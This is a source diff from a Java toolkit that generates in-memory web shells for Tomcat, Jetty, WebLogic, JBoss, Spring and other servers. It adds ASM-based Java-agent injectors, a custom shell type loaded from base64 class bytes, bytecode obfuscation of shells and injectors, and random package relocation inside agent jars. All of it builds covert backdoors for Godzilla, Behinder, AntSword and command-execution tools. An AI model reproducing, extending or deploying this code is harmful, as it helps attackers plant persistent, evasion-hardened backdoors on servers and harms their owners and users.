+            config.setIgnorePublic(true);
+            config.setEnableMethodName(false);
+            config.setEnableFieldName(false);
+            config.setEnableAES(false);
+            config.setEnableAdvanceString(false);
+            config.setQuiet(true);

-        byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
+            ClassObf classObf = new ClassObf(config);
+            shellBytes = classObf.run(shellBytes).getData();
+        }
+
+        injectorConfig.setInjectorClass(injectorClass);
+        injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
+        injectorConfig.setShellClassBytes(shellBytes);
+
+        InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
+        byte[] injectorBytes = injectorGenerator.generate();
+
+        if (shellConfig.isObfuscate()) {
+            BaseConfig config = BaseConfig.Default();
+            config.setIgnorePublic(true);
+            config.setEnableMethodName(false);
+            config.setEnableFieldName(false);
+            config.setEnableAES(false);
+            config.setEnableAdvanceString(false);
+            config.setQuiet(true);
+
+            ClassObf classObf = new ClassObf(config);
+            injectorBytes = classObf.run(injectorBytes).getData();
+        }
+
+        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();

        return GenerateResult.builder()
                .shellConfig(shellConfig)
@@ -54,6 +91,7 @@ public class MemShellGenerator {
                .shellBytes(shellBytes)
                .injectorClassName(injectorConfig.getInjectorClassName())
                .injectorBytes(injectorBytes)
+                .injectorInnerClassBytes(innerClassBytes)
                .build();
    }

@@ -71,6 +109,8 @@ public class MemShellGenerator {
                return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
            case NeoreGeorg:
                return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
+            case Custom:
+                return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
            default:
                throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
        }
@@ -9,6 +9,8 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv
 import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.command.*;
 import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
+import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
 import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
@@ -38,7 +40,6 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
@@ -66,7 +67,7 @@ public enum Server {
     */
    Jetty(new JettyShell()),
    /**
-     * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
+     * JBoss AS 中间件，JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
     */
    JBossAS(new JbossShell()),
    JBossEAP6(new JbossShell()),
@@ -99,7 +100,7 @@ public enum Server {
    WebLogic(new WebLogicShell()),

    /**
-     * Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
+     * Resin 中间件，<a href="https://caucho.com/products/resin/download">Resin</a>
     */
    Resin(new ResinShell()),

@@ -221,17 +222,24 @@ public enum Server {
                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
                .build());

        addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -35,5 +35,10 @@ public enum ShellTool {
     */
    NeoreGeorg,

+    /**
+     * 自定义
+     */
+    Custom,
+
    ;
 }
@@ -19,19 +19,27 @@ public class ShellType {
    public static final String NETTY_HANDLER = "NettyHandler";

    public static final String AGENT = "Agent";
+    public static final String ASM = "ASM";

    public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
+    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
    public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
+    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
    public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
+    public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
    public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
+    public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
    public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
+    public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
+    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;

    public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
    public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
    public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
    public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
    public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
+    public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;

    public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
    public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
@@ -0,0 +1,20 @@
+package com.reajason.javaweb.memshell.config;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.NoArgsConstructor;
+import lombok.ToString;
+import lombok.experimental.SuperBuilder;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/12
+ */
+@Getter
+@SuperBuilder
+@NoArgsConstructor
+@AllArgsConstructor
+@ToString
+public class CustomConfig extends ShellToolConfig {
+    private String shellClassBase64;
+}
@@ -6,6 +6,8 @@ import lombok.Data;
 import lombok.NoArgsConstructor;
 import org.apache.commons.codec.binary.Base64;

+import java.util.Map;
+
 /**
 * @author ReaJason
 * @since 2024/11/24
@@ -21,6 +23,7 @@ public class GenerateResult {
    private String shellBytesBase64Str;
    private String injectorClassName;
    private transient byte[] injectorBytes;
+    private transient Map<String, byte[]> injectorInnerClassBytes;
    private long injectorSize;
    private String injectorBytesBase64Str;
    private ShellConfig shellConfig;
@@ -38,7 +41,7 @@ public class GenerateResult {
                injectorSize = injectorBytes.length;
            }
            return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
-                    injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
+                    injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
        }
    }
 }
@@ -0,0 +1,35 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.CustomConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.lang3.StringUtils;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/18
+ */
+public class CustomShellGenerator {
+
+    private final ShellConfig shellConfig;
+    private final CustomConfig customConfig;
+
+    public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
+        this.shellConfig = shellConfig;
+        this.customConfig = customConfig;
+    }
+
+    public byte[] getBytes() {
+        String shellClassBase64 = customConfig.getShellClassBase64();
+
+        if (StringUtils.isBlank(shellClassBase64)) {
+            throw new IllegalArgumentException("Custom shell class is empty");
+        }
+
+        byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
+
+        return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
+    }
+}
@@ -1,20 +1,22 @@
 package com.reajason.javaweb.memshell.generator;

 import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.asm.InnerClassDiscovery;
+import com.reajason.javaweb.buddy.*;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.ClassFileLocator;
 import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.dynamic.scaffold.TypeValidation;
 import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.pool.TypePool;
 import org.apache.commons.codec.binary.Base64;

-import java.util.Objects;
+import java.util.*;

 import static net.bytebuddy.matcher.ElementMatchers.named;

@@ -34,10 +36,13 @@ public class InjectorGenerator {
    @SneakyThrows
    public DynamicType.Builder<?> getBuilder() {
        String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
+        String originalClassName = injectorConfig.getInjectorClass().getName();
+        String newClassName = injectorConfig.getInjectorClassName();
+
        DynamicType.Builder<?> builder = new ByteBuddy()
                .redefine(injectorConfig.getInjectorClass())
-                .name(injectorConfig.getInjectorClassName())
                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
                .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
                .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -56,6 +61,38 @@ public class InjectorGenerator {
        return builder;
    }

+    @SneakyThrows
+    public Map<String, byte[]> getInnerClassBytes() {
+        Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
+        if (innerClassNames.isEmpty()) {
+            return Collections.emptyMap();
+        }
+
+        String originalClassName = injectorConfig.getInjectorClass().getName();
+        String newClassName = injectorConfig.getInjectorClassName();
+
+        ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
+        TypePool typePool = TypePool.Default.of(classFileLocator);
+
+        Map<String, byte[]> bytes = new HashMap<>();
+        for (String innerClassName : innerClassNames) {
+            TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
+            String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
+            DynamicType.Builder<?> innerBuilder = new ByteBuddy()
+                    .with(TypeValidation.DISABLED)
+                    .redefine(innerTypeDesc, classFileLocator)
+                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                    .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
+
+            try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
+                for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
+                    bytes.put(newInnerClassName, entry.getValue());
+                }
+            }
+        }
+        return bytes;
+    }
+
    @SneakyThrows
    public byte[] generate() {
        DynamicType.Builder<?> builder = getBuilder();
@@ -1,9 +1,13 @@
 package com.reajason.javaweb.memshell.packer.jar;

+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import org.apache.commons.io.IOUtils;
+import org.objectweb.asm.Opcodes;

 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -13,48 +17,99 @@ import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.util.Enumeration;
-import java.util.jar.JarEntry;
-import java.util.jar.JarFile;
-import java.util.jar.JarOutputStream;
-import java.util.jar.Manifest;
+import java.util.Map;
+import java.util.jar.*;

 /**
 * @author ReaJason
 * @since 2025/1/1
 */
 public class AgentJarPacker implements JarPacker {
-
-    static Path tempBootPath;
+    private static Path tempBootPath;

    @Override
    @SneakyThrows
    public byte[] packBytes(GenerateResult generateResult) {
-        String mainClass = generateResult.getInjectorClassName();
-        String advisorClass = generateResult.getShellClassName();
+        Manifest manifest = createManifest(generateResult.getInjectorClassName());
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

-        Manifest manifest = new Manifest();
-        manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
-        manifest.getMainAttributes().putValue("Agent-Class", mainClass);
-        manifest.getMainAttributes().putValue("Premain-Class", mainClass);
-        manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
-        manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
-        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
-        try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
-            addDependency(targetJar, ByteBuddy.class);
+        String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
+        boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);

-            targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
-            targetJar.write(generateResult.getInjectorBytes());
-            targetJar.closeEntry();
-
-            targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
-            targetJar.write(generateResult.getShellBytes());
-            targetJar.closeEntry();
+        try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
+            addDependencies(targetJar, relocatePrefix, isAsm);
+            addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm);
        }
-        return byteArrayOutputStream.toByteArray();
+
+        return outputStream.toByteArray();
+    }
+
+    private Manifest createManifest(String mainClass) {
+        Manifest manifest = new Manifest();
+        Attributes attributes = manifest.getMainAttributes();
+        attributes.putValue("Manifest-Version", "1.0");
+        attributes.putValue("Agent-Class", mainClass);
+        attributes.putValue("Premain-Class", mainClass);
+        attributes.putValue("Can-Redefine-Classes", "true");
+        attributes.putValue("Can-Retransform-Classes", "true");
+        return manifest;
    }

    @SneakyThrows
-    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass) {
+    private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
+        if (isAsm) {
+            addDependency(targetJar, Opcodes.class, true, relocatePrefix);
+        } else {
+            addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
+        }
+    }
+
+    @SneakyThrows
+    private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
+                                 String relocatePrefix, boolean isRelocateEnabled) {
+        String dependencyPackage = isRelocateEnabled ?
+                Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
+
+        // Add injector class
+        addClassEntry(targetJar,
+                generateResult.getInjectorClassName(),
+                generateResult.getInjectorBytes(),
+                dependencyPackage,
+                relocatePrefix,
+                isRelocateEnabled);
+
+        // Add shell class
+        addClassEntry(targetJar,
+                generateResult.getShellClassName(),
+                generateResult.getShellBytes(),
+                dependencyPackage,
+                relocatePrefix,
+                isRelocateEnabled);
+
+        // Add inner classes
+        for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
+            addClassEntry(targetJar,
+                    entry.getKey(),
+                    entry.getValue(),
+                    dependencyPackage,
+                    relocatePrefix,
+                    isRelocateEnabled);
+        }
+    }
+
+    @SneakyThrows
+    private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
+                               String dependencyPackage, String relocatePrefix, boolean isRelocateEnabled) {
+        targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
+        byte[] processedBytes = isRelocateEnabled ?
+                ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage) :
+                classBytes;
+        targetJar.write(processedBytes);
+        targetJar.closeEntry();
+    }
+
+    @SneakyThrows
+    public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, boolean relocate, String relocatePrefix) {
        String packageToMove = baseClass.getPackage().getName().replace('.', '/');
        URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
        String sourceUrlString = sourceUrl.toString();
@@ -77,8 +132,16 @@ public class AgentJarPacker implements JarPacker {
            String entryName = entry.getName();
            if (entryName.startsWith(packageToMove)) {
                InputStream entryStream = sourceJar.getInputStream(entry);
-                targetJar.putNextEntry(new JarEntry(entryName));
-                IOUtils.copy(entryStream, targetJar);
+                byte[] bytes = IOUtils.toByteArray(entryStream);
+                if (relocate) {
+                    targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
+                    if (bytes.length > 0) {
+                        bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove);
+                    }
+                } else {
+                    targetJar.putNextEntry(new JarEntry(entryName));
+                }
+                targetJar.write(bytes);
                targetJar.closeEntry();
                entryStream.close();
            }
@@ -86,27 +149,29 @@ public class AgentJarPacker implements JarPacker {
        sourceJar.close();
    }

+    /**
+     * Extracts a JAR file to a temporary directory
+     *
+     * @param jarPath  Path to the source JAR file
+     * @param tempPath Path to the temporary directory
+     */
    @SneakyThrows
    public static void unzip(String jarPath, String tempPath) {
        try (JarFile jarFile = new JarFile(jarPath)) {
            Enumeration<JarEntry> entries = jarFile.entries();
            while (entries.hasMoreElements()) {
                JarEntry jarEntry = entries.nextElement();
-                String entryName = jarEntry.getName();
-                File file = new File(tempPath, entryName);
+                File targetFile = new File(tempPath, jarEntry.getName());
+
                if (jarEntry.isDirectory()) {
-                    file.mkdir();
-                } else {
-                    InputStream inputStream = null;
-                    FileOutputStream outputStream = null;
-                    try {
-                        inputStream = jarFile.getInputStream(jarEntry);
-                        outputStream = new FileOutputStream(file);
-                        IOUtils.copy(inputStream, outputStream);
-                    } finally {
-                        IOUtils.closeQuietly(inputStream);
-                        IOUtils.closeQuietly(outputStream);
-                    }
+                    targetFile.mkdirs();
+                    continue;
+                }
+
+                targetFile.getParentFile().mkdirs();
+                try (InputStream inputStream = jarFile.getInputStream(jarEntry);
+                     FileOutputStream outputStream = new FileOutputStream(targetFile)) {
+                    IOUtils.copy(inputStream, outputStream);
                }
            }
        }
@@ -22,7 +22,8 @@ public class BesShell extends AbstractShell {
                .addInjector(LISTENER, BesListenerInjector.class)
                .addInjector(VALVE, BesValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
-                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -49,7 +51,9 @@ public class GlassFishShell extends AbstractShell {
                .addInjector(VALVE, GlassFishValveInjector.class)
                .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;

 import static com.reajason.javaweb.memshell.ShellType.*;

@@ -29,7 +31,9 @@ public class InforSuiteShell extends AbstractShell {
                .addInjector(VALVE, GlassFishValveInjector.class)
                .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;

 import static com.reajason.javaweb.memshell.ShellType.*;

@@ -26,7 +28,9 @@ public class JbossShell extends AbstractShell {
                .addInjector(LISTENER, JbossListenerInjector.class)
                .addInjector(VALVE, JbossValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;

-import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
-import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
-import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
-import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
+import com.reajason.javaweb.memshell.injector.jetty.*;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -43,6 +40,7 @@ public class JettyShell extends AbstractShell {
                .addInjector(LISTENER, JettyListenerInjector.class)
                .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
                .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
+                .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;

-import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
-import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
-import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
+import com.reajason.javaweb.memshell.injector.resin.*;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -35,6 +32,7 @@ public class ResinShell extends AbstractShell {
                .addInjector(FILTER, ResinFilterInjector.class)
                .addInjector(LISTENER, ResinListenerInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.server;

 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
+import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;

 import static com.reajason.javaweb.memshell.ShellType.*;
@@ -20,6 +21,7 @@ public class SpringWebMvcShell extends AbstractShell {
                .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
                .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
                .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
+                .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
                .build();
    }
 }
@@ -42,7 +42,9 @@ public class TomcatShell extends AbstractShell {
                .addInjector(VALVE, TomcatValveInjector.class)
                .addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
                .build();
    }
@@ -25,7 +25,9 @@ public class TongWeb6Shell extends AbstractShell {
                .addInjector(VALVE, TongWebValveInjector.class)
                .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
